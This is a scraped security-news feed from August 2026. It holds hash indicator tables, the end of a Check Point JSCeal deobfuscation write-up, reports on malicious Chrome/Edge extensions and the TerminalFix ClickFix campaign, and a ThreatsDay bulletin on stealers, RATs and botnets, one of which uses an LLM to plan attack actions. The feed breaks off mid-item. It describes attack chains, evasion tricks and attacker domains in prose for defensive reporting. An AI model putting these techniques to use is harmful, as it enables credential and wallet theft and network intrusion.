03f4e47b9c2283c32bb8f8f042ce6e41de213ebc44c614d0b2324787e267183dbbbbb19e1ad866435a322ee00e24e7b6c77b3b7a507162bfc03cfeb8ef18d5ee7017e8fcbd6d7e005f986a3c967b8d450b8015cbb1ffdc6efe6a306ff5b1115f4757f3d26bc7110e9c7f4da8050afc2ed661cd92aec9cf7d301d9b9b24e0b668b90e3aaae14e7787e5ea4a6d4beee672049bd5eb05427f2c80b64f605860d2b81026743185dfa10e9ddc21b5a4c578d5212d21ed1c4b5bd9b9104e04f2876842b99cd17def3591df72781891d584dca055ee2359b12fbce928532d1d4efcfbbbd63340502d0107466c803d6517b44437201f28b5e62e52e269757930f941c774f720d6f6baebd4ef76df978f2678387385ee2d20a37423e7957c2341fe46f9cab3f76851a8e55a967029be7ffe4c15afd63656d6946a3df77206455e5ac28ea12fe27eb8c99626e8c02e4bfd02aca9628d389f56c5b71d194bddd5b6ce5906e7e22730034ad882606cc8ae701011bf8c67e3d7bcdf4cfd25750425ac0682e0ed98b3cb473448696fb79bf311fcdb18cd376ec4dbc3363fa7131367e4c6327a462ef1ea37a941330a79a3056461e61992864e6e38c0f68cbb626ebf1f96e362c599b8124c2a64d26567f19a44618144b1d6a7501a5892918f0120a496f983a0f2462195f7f8033df7371e899fe9bc51de62ba626bce09db5f8750938edced3768b401084a7d6584cd6ff9d53d2517781ddc561df51d27ed3a99cb916bf08452c901956778c26709e69705cbdf77f74816499184635d56a9827d2059256a35e530c12ac711b4ceaa17a4e48b16fca7dabd615e4eaf35bb65fe9131ceac1687095add2bb7316be55446aebfa31d05e57e936eb9a18d5d9c20d60d87493100d05fe6533d0b93ea03cd5bab4eec0f0ebadd03484da78b0fef35711f86876f7c1c77264b8e4295d7393369379c384c05337ec5684aabefe516539cda48c65cb08014e6eb645b4f1e668d159fe0c18cf74eb40768ac84a8470d1f365f0bb2f37b6256d50c31453e74a3b763c7aea550b4f5f194e7656226012b243221eb93fa22da118ef6c670e65765d10a5ca0205a6ece3a3e6c7c730b0a8534c5adef4a3cbf06eb9c6e023b9b3097a2dba311cb06a91fe2595f071a36c0a79ddce92824a49fd8e9bd048b87cabb635671073402365afc342a3d800b7dbdcb6874e29ddd2e9a1313f3d82b323e89a720c632c708098a7ca0e97b659fa5c93af29c4e11d8c8be43705882f8215c7e68f4a6b656b7dc6638982a6625c662ce6d6a05330eefbfde2637ac6b498ec73d32860202b6a6ff8d21f8b5216c3903e066136f9d69ef2969955a788fb3e6acb2024601eba0ba484091ff3d31b38e76ccaca6f38168b4fdd9cbdedd8efa7e65fe6090240e281bd3152a6feb5fe810cb5b34c8fd07c7eca301b32ef2d3b86290828d67edaad8444db811f20baf105a6d4dc10b2bfefd75e917245523caf8bfc90e4300b8a18c3fe3a4badbe44c106830e7432d8eea227857a790ec917f3e73b2e0ebea3eaffa3685e0a162d10fde388282060d9e35b173b743676916b2dad3f88b7f6870f83eb1ad852b7f7e1f5acba97db6d514e4b35ba0601c5269697e8ab3bb99d097db25ec7e744645948c674f58b157a7319b564bb774e7aeb35135d615511838e4a553fe7ea9e94759d064dfaaef30c057b832c79996c35e899b5359dc99501ef2a4667d265e9b032f76dc28c97437a463965e2168d20e5c385a024ae97242be3b1b954f845f7a87a1411c47830f81a2b54f47ec2cf741e2a0d5b4137135cf121e3ea07b1c81fe11088abffe0d13d3b93ca3469045e4cebbee25b3631e6bba13880f04b7c8acac253609f803f69bde280adbd4e584ed26a01affac9721db8c5730275d385f084b422ae26687982d924ffebef6fbf2d9d4335095b39a0bad021f33e08df042b02d3267faee7bbc3e3080dda295c35b464dd60718347a39f174c97947649b3f1de55e8409ff805e808f2101e5953a956e9ee99fe27ae65977287bdfb7b0e15fd3603f85b73c3d732bb6bff8b9088cc0dcbadb35eea0802056324f1b6295cb9277c627559615f60ea3cc1c65eb8fe6d77bb85fe6b455503193eab02310a873fccadd332ee711a90b5ece5380e1acaed56827e8d51b0efeb1d988b7bc11014ccc9fdff141fc16425d659f553f6cc6946872499667acdaba94e9975e8e03fa13bae7f0f93f165f42226aeecea3af5a4e0111bdfb7e0d1fce0cb2b9dec26a10f0822aeffb195b4edd9bffdd7909b8b432eacd463d59eb23eba151c9e218161ab15dd72d55ed2d42aa747f7ebc3280b14d30c6b71043545888946d9d6acd6abbaf4545841462e8b5448b4f7b013e8c6191b20d3f829105db78bff1a48a674e70368b96a550a5f9f93271eb261ab63b36ee37e0e8b9f884db0663b6aa8df2ac04470288fd5528f5537fb89d78a2e01cabdce371a686e8fd4494c555adda2eb54b88f5c9c08801058ae4136e241f116d8c5b1a1cad15b53090797154539faa35706568fbd85d9b7e1c82cdcff73ac69fee3ba71d67353a062103f1bfae4f263d03b3b84e48d782 JSC files (original, Brotli-compressed) with corresponding unpacked versions: md5 (JSC original) md5 (unpacked) sha256 (unpacked) (unknown)91038aebe528a065c3e995a418db6826c288e79ed9d1fb654a341b92d878a3165a09fb21dfa826f3559b46738fdbbdeb03f4e47b9c2283c32bb8f8f042ce6e4113823095b8d31013ba41a5c98ce69b598b3ed808822479eb62d78d819db35362e4e79138ac82310d30e0c351a17992b60b8015cbb1ffdc6efe6a306ff5b1115f454fb012cdd0736e4ed41fabf0916f462cf2d22d1317df6c49171be61ef35c4f6c3da17785fa73e68aa95109075f79bd1026743185dfa10e9ddc21b5a4c578d5975319142460fc43e3dc5e495d2313c994191824bb5062622663e2434d2b749a8c936eb573aaac23594dee8dda304731201f28b5e62e52e269757930f941c77409dbfac09f9cafdbc7d225eb144f0e69742ad2dd3d2444bd3758b6e46dd76f9c43dfaae03bdffc3598ce7d8ab3cd3ac52fe27eb8c99626e8c02e4bfd02aca962c8db5e53572e68349c76107f03544491504345099ba4c77cbb4224101794e525f2bc9adb40904159195c17d7e345085e376ec4dbc3363fa7131367e4c6327a46a2aa25f0d5b23a2897576e4cf9596a7c11e85a8306057945accc65395b780377c07d4ec9ae52d78185554bf1957e3caa462195f7f8033df7371e899fe9bc51de2841170a19c028c16990cdcc6fd499bc43c57c60a8008e617b16dc6dab29372347ebe144f043200c106149c3106438ba499184635d56a9827d2059256a35e53030f23bb28ce56584f8f098ff0035b029cfdb3bb9edea8de7c7a70275a2b8689619276f1e5f2b8805e67ceab1ee252f6d533d0b93ea03cd5bab4eec0f0ebadd03cd7afa032d5f5be0db037edb617f438b6075cd41edb59c43c13aa3591e054cdb127b17bf34e036dae591244ea2f8868f68ac84a8470d1f365f0bb2f37b6256d5a6f5bb2b8a3e1abe332dd40e50d78aa3c13fcb214a576401cd624dacf248480c38b8bcbb85e5d3da52cc204a61395d146e023b9b3097a2dba311cb06a91fe2596626b8caf2734c83a93f78d31b703584395f4c1562a1a8caeba254ccbc7d278b8194795ff5ad3824cfc0c566273835f07b659fa5c93af29c4e11d8c8be437058469c60508d4470bc1cc5e4a70d0e7112192342a5e4fcfc5e8ec430427e1dfa773fd324e3d7215047f36f1114ef930f4e8fb3e6acb2024601eba0ba484091ff3de57f6ca6543616f75f7811273616fe470c72513efdae9785894b6e925590d0b59b652dda53b8cd882037a87e672a4a5aaf105a6d4dc10b2bfefd75e917245523a308fa1524c9d5b8dc55d2b296a2629b9f673e3b361f438e9986f2a7b2423d3d02dbecea0c220163566850ef6ab56626b2dad3f88b7f6870f83eb1ad852b7f7e576e94d705bd50811dc9525a45732bc359c9038227c634f4e512afaa98f2ca998b0aaac83437c218686c51acbda7873ed064dfaaef30c057b832c79996c35e89710cc97e64618c68ffca72ac405a48a188b1d75d330cf6be9a7f48cdfd51c48125a86f9bcb6bcb736fb8399e0617d680d5b4137135cf121e3ea07b1c81fe1108c605371a8caf11497f1879597292e3382c29b4089845b010428f8be48e62f165e0f7f8a48e58200629c6020c7ac2cab7e26687982d924ffebef6fbf2d9d433502477fd3e348c51bf575ede398253d0b3aec3e252c429e150c42976d6badeea31e48a0356ecbd27796df83fc6d3de16eae27ae65977287bdfb7b0e15fd3603f857650ec266b414d097101da12c438465957f32b3942d5543177f07e49fc84f1409a49b5df7d25549e543607c223b87695e711a90b5ece5380e1acaed56827e8d51b7f4288b12373c8d6488fde69c8ce0dfa02e707af9a353f0e2d7a77489c11c2249a1d9dbccf74070130b31834e8d7c30d1fce0cb2b9dec26a10f0822aeffb19e81b35b76b4d97751c0724bc0c7f3b8336d34b6405a33fcb95e1323e2ca8c688af02b315fc1bded19fa27bd1c7ca6f1ce8b5448b4f7b013e8c6191b20d3f8291fa0180946b9a6ad373b7a8f983e2e59722833568125bcc55000503cfe6b470925b7d095ff7592bef79fe52e0573123ccfd4494c555adda2eb54b88f5c9c0880110c576a57fc040eddd84d631786b8dda06dce0f294c62f2a2393c812ff711bde831bf420a4df484bcf5b6241fc0f00d0 Appendix – C Of the 24 payloads listed in  Appendix B , 23 use the dominant string-obfuscation variant handled by  deobf_str2.py . The older payload  91038aebe528a065c3e995a418db6826  uses the simpler variant handled by  deobf_str1.py . All identified obfuscated string chunks in these 24 payloads were successfully deobfuscated  — meaning that each identified obfuscated chunk was decrypted into a valid string chunk. Complete listings are available in the repository [ 8 ] in the files named by the pattern:  {md5}.deobf.txt.strings.txt . Related Research [1]  Sealed Chain of Deception: Actors leveraging Node.JS to Launch JSCeal [2]  Exploring Compiled V8 JavaScript Usage in Malware [3] View8 (original): https://github.com/suleram/View8 [4] View8 fork:  https://github.com/j4k0xb/View8/ [5] Brotli Algorithm:  https://github.com/google/brotli [6] JavaScript Obfuscator: https://github.com/javascript-obfuscator/javascript-obfuscator [7] JSC_deobfuscator: https://github.com/hasherezade/jsc_deobfuscator/ [8] Material extracted from the analyzed samples: https://github.com/hasherezade/jsceal_datasets [9] V8 string literal patch: https://github.com/hasherezade/jsc_deobfuscator/blob/main/Utils/disasm/patches/v8_string_patch.diff [10] V8 build instructions:  https://github.com/hasherezade/jsc_deobfuscator/wiki/Building-V8-Disasm [11]  Demos illustrating the deobfuscation process live [12]  Microsoft Security: threat actors misuse Node.js to deliver malware and other malicious payloads [13]  Cato CTRL Threat Research: A Deep Dive into a New JSCEAL Infostealer Campaign The post Breaking the Seal: Static Deobfuscation of JSCeal’s Compiled V8 Bytecode appeared first on Check Point Research .
research.checkpoint.comAug 31, 2026extracted
Chrome Web Store extensions caught stealing crypto, browser data
Multiple extensions for Google Chrome and Microsoft Edge delivered a malware framework that deployed modules to steal cryptocurrency, sensitive data, and browser history, and to inject ClickFix lures. Researchers say all 19 malicious modules uncovered in the campaign serve distinct purposes and are designed to be "highly extensible." The operation was uncovered by application security company Socket, and the investigation indicates that it may have been active since early 2024. Socket says that when initially published on the Chrome Web Store, many of the extensions provided the advertised functionality and contained no malware. According to the researchers, five of the extensions were acquired from their original creators and injected with malware via updates delivered automatically. One example is the "Enable Right Click & Copy — Smart Unlock + OCR" extension, which had a Chrome user base of at least 70,000 when it turned malicious. The number of installs on Edge was 10,000 at the time. Google caught the threat early and removed the extension from its add-ons marketplace, but at the time of Socket publishing its report, the Edge version remained available. Once installed, the malware establishes an encrypted WebSocket connection with command-and-control (C2) servers, downloads JavaScript modules, removes Content Security Policy (CSP) headers from every website visited, and injects malicious scripts into websites through hidden HTML elements. Socket observed malware modules with the following capabilities: Draining EVM, Solana, and Tron wallets by hijacking legitimate “Connect Wallet” and “Swap” buttons Replacing Ledger and Trezor websites with convincing seed-phrase phishing pages Stealing sessions, tokens, account data, and balances from Coinbase, Binance, Kraken, OKX, MEXC, KuCoin, Bybit, and MetaMask Recording credentials and form entries across websites Harvesting Facebook and LinkedIn account information Exfiltrating browser history Displaying ClickFix-style fake browser updates that instruct victims to execute attacker-provided commands Socket warns that the malicious framework may have more modules and that as the malware evolves over time, new payloads are expected to be deployed. At the time of publishing, none of the malicious extensions are available in the Chrome Web Store. Socket's report provides the full list of extension IDs uncovered in the campaign along with the domains used for C2 communication. Users who had any of the extensions installed should assume that their credentials have been compromised and change their login passwords. Cryptocurrency holders potentially impacted by this campaign are recommended to move their assets to a newly created wallet as soon as possible. Update [August 30]: Article edited to include the full list of malicious extensions discovered by Socket. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comAug 30, 2026extracted
TerminalFix Uses Fake Cloudflare CAPTCHAs to Deploy Reverse-Tunnel Backdoor
Microsoft has disclosed details of a new ClickFix variant, dubbed TerminalFix, that aims to trick users into running a malicious command in Windows Terminal or PowerShell. "While traditional ClickFix campaigns direct victims to the Windows Run dialog, TerminalFix campaigns apply the same technique but direct users to Windows Terminal or PowerShell instead, increasing the likelihood that complex, multi-line scripts execute successfully," Microsoft security researchers Sagar Patil, Suriyaraj Natarajan, and Parasharan Raghavan said in an analysis published this week. The campaign, targeting organizations across multiple sectors, leverages compromised websites as a starting point to serve fake Cloudflare CAPTCHA verifications that prompt unsuspecting site visitors to copy and execute a malicious PowerShell command. The attack chain, per the Windows maker, is a sophisticated multi-stage process that leverages DLL sideloading, steganographic payload extraction, extensive Active Directory reconnaissance, and a bespoke custom reverse-tunnel implant that grants the attacker persistent, network-level proxy access through the infected machine. Specifically, the PowerShell command is designed to download a ZIP archive containing a legitimate binary ("LockScreenContentServer.exe") and a rogue DLL ("dui70.dll") in order to initiate a DLL sideloading attack. The sideloaded DLL is responsible for retrieving next-stage payloads hidden within PNG images from external domains ("bestsocialmedianewspapper[.]com" or "offlineupdater[.]com"), establishes persistence via both Registry Run keys and scheduled tasks, carries out domain reconnaissance, and then deploys a Python-based reverse-tunnel command-and-control (C2) implant. The backdoor ("client.py") is equipped to tunnel arbitrary TCP traffic back to attacker-controlled infrastructure ("gitnow[.]dev:443") through an encrypted WebSocket channel, as well as enable the C2 server to reach any host visible from the victim's network. The reconnaissance phase involves the following steps - Collect system metadata Perform domain trust discovery, domain admin enumeration, and Active Directory user and computer searches Ping named servers to map the internal network topology The attack also delivers a persistent PowerShell file-watch loop that monitors a text file for new commands, executes them via Invoke-Expression, and writes results to an output file. "This type of intrusion is particularly dangerous because it provides attackers with direct access to an organization's internal network through the reverse tunnel," Microsoft said. "The observed reconnaissance and reverse-tunnel capability could enable an attacker to identify and reach additional systems from a compromised host." The tech giant has warned that such access can be abused further to escalate privileges, disarm security controls, exfiltrate sensitive data, and deploy ransomware, making TerminalFix a serious threat to enterprise environments. To mitigate the threat, it's advised to restrict PowerShell and Run dialog execution for standard users through AppLocker, Application Control for Windows, or Group Policy; consider blocking or auditing the Windows Run dialog ("Win+R") if it's not required; monitor for DLL sideloading indicators; train employees to keep an eye out for ClickFix attacks; and enable PowerShell script block logging to detect and analyze obfuscated or encoded commands.
thehackernews.comAug 30, 2026extracted
19 Chrome and Edge Extensions Found With Wallet-Stealing and Crypto-Draining Code
Cybersecurity researchers have discovered a cluster of 18 Google Chrome and one Microsoft Edge extensions that were published over the last six months and harbored wallet secret stealing and cryptocurrency draining capabilities. The extensions, per Socket security researcher Karlo Zanki, share similarities in code and tradecraft, with evidence indicating that the campaign may have been active since February 2024. Socket is tracking the activity under the name Superior. The modus operandi is relatively straightforward: the threat actor either acquires legitimate extensions with proper functionality or pushes a clean version that's devoid of any malware. Once the extensions begin to gather user downloads, a new version with the malicious behavior is published. Of the identified extensions, 14 were created by the threat actor, while the remaining five were purchased from their previous owners. The complete list of extensions is below - Extensions bought by the threat actor koccklolohdacbfooifnpebakpbeipc - Enable Right Click & Copy — Smart Unlock + OCR fegckejpfnlmfgkfjpinlbgmeeijjkel - RapidLens - Google Lens for Screen Search & Images kdenlnncndfnhkognokgfpabgkgehodd - QuickLens - Search Screen with Google Lens jamminefolhgepgihbmcjjhgldbfcikp - Password Protect PDF inmkjedjdhgpknjogbjomhnbgdccckkg - Allow Copy - Select & Enable Right Click (Microsoft Edge) Extensions created and published by the threat actor - fcgdejjichpgfaaafflplhfijcnieopb - PixelCheck cfpnjdbpojpcongfaefcamjbaolpelcd - Creative Library - Ad Spy Tool aapdalkmclfaahehnmicbglkohkldhne - Website Traffic Checker: MirrorSphere SEO Stats dkdadldmiefjldmegbjbnhhfddnkhlhm - Site Signal - Website Traffic & SEO Checker fjmlhlkccegopebcllcmafahkmeejpph - SEO Pulse Pro - Website Traffic & SEO Analyzer iekoapohahgmogbagegmcgplbkikcgke - Private Crypto News Reader ahpnnnjbnfbhoikhohglpohnoocjcoco - Blockfolio: Address Monitor oeacadlaclegkkkdehjmiifnjhcekclj - Crypto Rates & Fiat Converter jmlgannjlbliikgcaieomgmcnfplglea - Crypto Alerter: Price Alarms & Volatility Warnings lhmcajhgadanidbopgaoobjlldegjmke - DeFi Pulse Tracker gfackggoapepdmnjnkblogdcjpgcjiak - Crypto Price Badge: Quick Glance hfijkbdkpidafdbeebnnkhfccildbcle - Multi-Chain Explorer cngchfbfgejllcbhmeadjhiebebiome - LedgerLook: Wallet Checker aodkjdeghbjiaienipfjkbpcikkacbcp - Meta & Facebook Ad Library Spy — Save Ads, Finder, Downloader | FeedX-Ray It's worth highlighting that the "QuickLens - Search Screen with Google Lens" was previously flagged by both Annex Security and monxresearch-sec earlier this year, detailing its ability to push malware to downstream customers, inject arbitrary code, and harvest sensitive data. The latest findings from Socket suggest that the activity is broader in scope than previously thought and has been ongoing since February 2024. Some aspects of this campaign were documented by DomainTools Investigations in May 2025. At the time, the threat actor was observed creating fake websites masquerading as legitimate services, productivity tools, ad and media creation or analysis assistants, VPN services, cryptocurrency or banking utilities to trick users into installing malicious extensions from the Chrome Web Store. "The extensions typically have a dual functionality, in which they generally appear to function as intended, but also connect to malicious servers to send user data, receive commands, and execute arbitrary code," DomainTools Investigations said. The extension with the most potential impact is "Enable Right Click & Copy — Smart Unlock + OCR," which has a collective install base of 80,000 users across both Chrome and Edge browsers. Each of the extensions also supports the ability to establish contact with a command-and-control (C2) server and set up a persistent WebSocket connection. "Worth noting is that the loading framework supports rotation of the C2 endpoint based on instructions received from the initial C2 server and this behavior has been observed in the wild," Zanki explained. "That functionality enables threat actors to distribute victims to different groups and dedicated C2 infrastructure and to reduce the detection risk. Data exfiltration endpoint is also dynamically received from the C2 instructions enabling a per-victim exfiltration channel." As observed in the case of QuickLens, the malicious code embedded in the extensions strips Content Security Policy (CSP) headers from every page and facilitates the injection of JavaScript code modules on targeted websites using content scripts. A total of 16 modules have been identified. They span the following categories - Multi-chain wallet drainer Hardware-wallet seed-phrase harvester Cryptocurrency exchange and wallet account harvester Universal credential or form grabber Facebook and LinkedIn account stealers Browser history stealer ClickFix-style lure The ClickFix module injects a fake web browser update and employs operating system-specific instructions to get the user to copy and paste the malicious command. Exactly who is behind the campaign remains unknown. But the fact that they have been successfully operating for more than two years points to a "very capable threat actor." "The biggest risk for end-users is the operational technique in which the threat actor successfully acquires legitimate extensions and releases new versions empowered with malicious functionality," Zanki said. "That approach, combined with Chrome's default extension update settings, performs auto-updating to the latest version of extension, providing the threat actor with a powerful vector to maximize the impact and reach of the extension acquisition."
thehackernews.comAug 28, 2026extracted
ThreatsDay: 296K IoT Botnet, 100+ Water Systems Targeted, SharePoint RCE Chain + 27 New Stories
A fake login page. A fake security scan. A fake productivity app. Apparently, pretending to be useful is still one of the easier ways into a machine. The rest of the week gets stranger: botnets borrowing AI, command traffic hiding in public infrastructure, malicious tools waiting before showing their real behavior, exposed systems getting scanned, and exploit windows shrinking again. Different tricks, same advantage: attackers keep finding places where trust is cheap and friction is low. That sets the tone. Here’s the full list of what surfaced this week. The threats change every week. Subscribe, and we’ll alert you when each new ThreatsDay Bulletin is out. Social engineering attempt failsCybersecurity company ReliaQuest has confirmed that one of its employees was targeted in a social engineering attack after hackers impersonated a member of the security team. The incident took place on August 22, 2026. "The threat actor registered a lookalike domain and stood up a fake ReliaQuest single sign-on (SSO) page behind a content delivery network," the company said. "The threat actor then called multiple ReliaQuest teammates, each time posing as a security employee by name in an attempt to steer them towards the fake page. One teammate entered their password and approved the push notification on their phone. That handed the attacker a brief session on our identity dashboard." ReliaQuest said the extent of the access was view only, and that no applications or systems were accessed, and no customer data was ever touched. Although the company did not attribute the incident to a particular threat actor, it noted the playbook aligns with tactics adopted by ShinyHunters and other extortion crews, such as "an impersonation call, a throwaway lookalike domain registered and burned within the hour, a harvesting page behind a content delivery network, MFA push abuse, and a rapid attempt to enroll a new authenticator." The development comes as ShinyHunters listed the company on its dark web portal. Last week, ReliaQuest said it's tracking a ShinyHunters campaign using domains that follow the "company[.]claims" pattern, including "reliaquest[.]claims." Trojanized productivity appsFake websites advertising productivity software are being used to lure users into downloading a deceptively functioning program that contains malware. The Electron-based applications, such as Kitchen Canvas, Food or Meal Formula, DocConvertWizard, and other PDF conversion tools under different names, gain the ability to dynamically execute injected scripts and access desktop capture functionality through Electron APIs. Live operator-driven phishingAn undocumented phishing framework, internally branded "JWR" by its developer, is designed to convincingly impersonate checkout and login pages across major payment and shopping platforms. "The client engine of the JWR phishing framework is a real-time, operator-driven system that, rather than merely logging form submissions like a static credential-stealing page, keeps an AES-CTR encrypted WebSocket open to the threat actor so they can steer each victim's session live," Cisco Talos said. "The victim data targeted by the actor using JWR extends well beyond payment data, encompassing identity documents, Social Security numbers, passport and driver's license images, website and PayPal credentials, 2FA codes, and full device fingerprints, all committed to the actor's server once a session ends." The JWR phishing framework is assessed to be a variant of The Outsider phishing-as-a-service (PhaaS) platform, based on several similarities in the client engine scripts and functionalities of the two PhaaS platforms. Android fraud bot for rentCybersecurity researchers have disclosed Octagon, a previously undocumented Android on-device fraud bot sold as malware-as-a-service (MaaS) by the Russian-speaking actor AndroidKitKat. "The operator advertises Octagon for $1,400 a month, giving buyers accessibility overlays, hidden VNC, SMS and one-time password interception, unlock-pattern capture, and on-screen balance reading," iVerify said. "It targets crypto wallets and banking apps after installation, while the delivery app can use an unrelated theme." Rust backdoor tied to ransomwareA new Rust-based malware family dubbed C2Looper is likely leveraged by a ransomware-related threat actor and delivered to victims through a multi-stage ClickFix infection chain. Zscaler ThreatLabz said it discovered the malware in July 2026. "C2Looper supports typical backdoor commands including remote shell execution, reconnaissance, and deploying additional malware tooling," Zscaler said. "C2Looper dynamically resolves Windows APIs and encrypts strings." There also exists a variant with additional features and capabilities, including the use of GitHub for command-and-control (C2) communications. 296,000 IoT devices compromisedNearly 296,000 devices have been compromised by a botnet named Dysphoria. "Dysphoria targets IoT devices and its primary function appears to be for use in DDoS-attacks," the Shadowserver Foundation said. "Recently the botnet has gotten residential proxy functionality." C2 moves onto PolygonA recently discovered C++ botnet loader called Aeternum has shifted its C2 infrastructure entirely to the public Polygon blockchain. "Instead of relying on centralized servers or domains, threat actors operate Aeternum by writing encrypted and plaintext instructions directly using smart contracts," Palo Alto Networks Unit 42 said. "Infected devices continuously query public remote procedure call (RPC) endpoints to retrieve and execute these on-chain commands. The Aeternum botnet uses decentralized networks and evasion techniques, such as virtual machine detection and antivirus scanning, to operate effectively. This combination establishes a highly resilient, low-cost threat that complicates existing law enforcement takedown methods." AI enters botnet workflowsAn AArch64 Linux peer-to-peer botnet called ToxNetV2 has integrated a large language model (LLM) into the operational workflow of its controller. The controller communicates with NVIDIA NIM using the z-ai/glm-5.2 model, becoming a part of a feedback loop that determines how its capabilities can be put to use on a given machine based on information about the infected environment. "The controller collects host and botnet telemetry, sends that context to NVIDIA NIM, parses selected model responses into structured actions, and queues those actions for operator approval," Joe Security said. "The system is not fully autonomous or self-modifying. The operator remains the final approval point for its higher-impact AI-generated actions. Once approved, however, those actions can reach local command execution, file writes, remote SSH, persistent state, and a compilation workflow." According to the cybersecurity company, the AI subsystem resides within a broader Tox-based botnet featuring encrypted peer-to-peer C2, host-management capabilities, scanner workers, self-propagation logic, and 17 network-attack launchers. Two stealers target credentialsAn information stealer called Phantom Stealer is designed to collect browser credentials, saved passwords, session cookies, cryptocurrency wallet files, and detailed system fingerprints. "Since its appearance, Phantom Stealer has been observed in multiple campaigns targeting users across different countries, frequently distributed through phishing lures, cracked software, and malicious links spread via platforms like Discord and Telegram," Splunk said. "Its modular design and relatively low barrier to entry have made it an attractive option for both novice and experienced threat actors, contributing to its growing adoption and making it a persistent and evolving threat in the infostealer landscape." A second stealer malware family that has emerged in the wild is Salat Stealer, which is written in Go and can perform system reconnaissance, conduct credential theft, and monitor victim activity through desktop streaming and audio/video capture. ClickFix chain drops new RATA previously undocumented remote access trojan (RAT) called CNCMachineRMS is being delivered via BabaDeda Loader. "Infection starts with a ClickFix lure that launches a legitimately signed IBM SPSS IDE executable, WinWrapIDE.exe, whose scripting engine is abused to load a malicious DLL," LevelBlue said. "Four decoy DLLs load through ordinary Windows import resolution, then the final stage smuggles shellcode into execution via EnumTimeFormatsEx, a benign date-formatting API." The Trojan gives an operator remote administration of the host, including an interactive shell, a file manager, screen capture functionality, a local account backdoor, seven persistence mechanisms, and twenty typed commands for pulling down and running further payloads. New modular RAT emergesSpeaking of RATs, Abyssos is another new malware family that's written in C++ and supports credential theft, file exfiltration, and remote access via VNC. The modular malware was first detected in June 2026. "Abyssos uses a custom TCP protocol for network communication," Zscaler said. "Abyssos supports a number of different network commands and downloads additional modules from the command-and-control (C2) server to enhance its capabilities." Disk encryption bypass remains unpatchedA zero-day boot-chain vulnerability in HP ThinPro 8 and 9 could allow physical attackers to bypass Trusted Platform Module (TPM) full-disk encryption and extract LUKS keys securing the device's root partition. The flaw stems from an incomplete measured-boot policy that omits the Linux kernel and initramfs (aka the initial RAM file system). "For defenders running ThinPro with disk encryption today: turn Secure Boot on and set a BIOS password," AmberWolf said. "Both slow an attacker down; neither closes the PCR gap. Beyond that, treat the encryption as no protection once the device is out of your control. Destroy the M.2 on disposal, and do not rely on ThinPro FDE for a lost or returned unit." The vulnerability remains unpatched. 1.99 million mobile attacks blockedData from Kaspersky shows that more than 1.99 million attacks were recorded and blocked against mobile devices in Q2 2026 using malware, adware, or unwanted mobile software. "The Trojan-Banker category was the most prevalent mobile malware threat with a 30.77% share of total detected applications," Kaspersky said. More than 304,000 malicious installation packages were discovered, including 93,574 packages related to mobile banking Trojans and 570 packages related to ransomware. Python stealer targets credentials and walletsCybersecurity researchers have discovered a new Python-based stealer malware called Vanta Stealer that combines extensive credential harvesting capabilities with layered obfuscation techniques that make it possible to collect valuable user data while complicating analysis efforts. "Vanta Stealer targets a broad range of applications and digital assets, including Chromium-based browsers, Discord, Telegram Desktop, Steam, Riot Games, Roblox, Minecraft, Mullvad VPN, cryptocurrency wallets, and locally stored sensitive documents," Point Wild said. "In addition to harvesting browser passwords, cookies, and stored payment information, the malware collects authentication tokens, gaming platform data, VPN configurations, cryptocurrency wallet files, screenshots, webcam captures, and documents containing wallet recovery phrases or private keys." Exactly how it's delivered is currently not known, although it could be through phishing emails, fake installers, game cheats, fake software updates, SEO poisoning, malvertising, and malicious code repositories. Two more credential stealers surfaceElsewhere, malicious LNK files disguised as PDF documents have been found to launch a multi-stage infection chain using cmd.exe, legitimate Windows utilities, AutoIt, and PowerShell to deploy DARTHVADER Stealer. Europe and the U.S. have been targeted by DestinyStealer, which exhibits clear code continuity from StormKitty Stealer. It collects browser data, cookies, passwords, cryptocurrency wallet extension storage, Outlook and VPN data, FileZilla credentials, Wi-Fi profiles, and desktop screenshots. Stealer scores hosts for sandbox signsAn information stealer called ScarfaceStealer has been observed propagating via an Electron-based application masquerading as AI-related tools. The malware performs a set of environment checks intended to evade sandbox environments and evaluates the host through 11 indicators and combines their results into a weighted suspicion score. If the score reaches 7 or higher, it enters a decoy loop that continuously displays random message boxes. Execution continues only if the score is below 7. "Unpacking the Electron application exposed a second-stage JavaScript-based loader that performs initial evasion checks before decrypting and executing the next stage," Joe Security said. "That third stage applies four additional decryption layers, maps an embedded PE in memory, and transfers execution to it. The recovered final stage revealed the core anti-sandbox logic: a scoring-based mechanism used to decide whether the ScarfaceStealer payload should continue execution." Fake scans push antivirus removalMalwarebytes is calling attention to a scam campaign that uses a set of 11 fake websites that claim to offer a way to check if antivirus tools are working as expected. The tools carry Microsoft branding and go by names like SysScan to lend them a veneer of legitimacy, only to instruct users to immediately uninstall antivirus programs installed on their machines to address compatibility issues. "Although the names vary, the sites work in essentially the same way: Run a convincing-looking but fake security scan, tell the victim their antivirus is causing problems, collect their information, and prepare them for a supposed refund call," the company said. ClickFix chain drops AmateraFake CAPTCHA checks that employ ClickFix lures and bogus software download campaigns are being used to deliver PavinLoader (aka RenPy Loader and RenEngine Loader), indicating the tool is being offered as a loader-as-a-service to other cybercriminals. "What happens next is much more consistent," Malwarebytes said. "PavinLoader uses legitimate Windows tools alongside malicious .NET files to run several stages of malware. It also uses EtherHiding, a technique that uses a blockchain to hide information about its infrastructure, to find the server from which it should retrieve additional malware." This ultimately leads to the deployment of Amatera Stealer and other malware. "In some cases, WiX Burn bundles downloaded another payload associated with PavinLoader. In others, we detected Hijack Loader," it added. "This gives the campaign operators the ability to deploy multiple payloads on a compromised machine." Per-app privacy controls testedMicrosoft has begun piloting new privacy controls that will let Windows 11 users choose which desktop applications can access their camera, microphone, and precise location. "Windows Insiders can now manage camera, microphone, and location permissions for individual desktop apps," Microsoft said. "Previously, access for traditional desktop applications was managed through a single device-wide setting. With this update, you can review and control access on an app-by-app basis, giving you greater visibility into which apps are requesting access to sensitive resources and more control over your privacy choices." Telegram-sold RAT used by TA4922Proofpoint has disclosed details of a new RAT and C2 framework called PackClient that's sold on Telegram and is being used by at least one threat actor, Chinese-speaking TA4922, as part of its continued efforts to expand its malware arsenal. The first campaign, observed in late May 2026, used a tax-themed lure and impersonated the Shandong Provincial Tax Bureau to trigger a sense of urgency. Two other campaigns in mid- to late-July 2026 have been found to impersonate Indian tax authorities and used penalty-themed lures to deliver the malware. "PackClient consists of a first-stage loader executable, a second-stage loader ('PackClientLauncher') DLL module, a core module ('PackClientCore'), and several optional plugins that can be downloaded upon operator command," Proopoint said. "The malware connects to two hard-coded C2 endpoints over raw 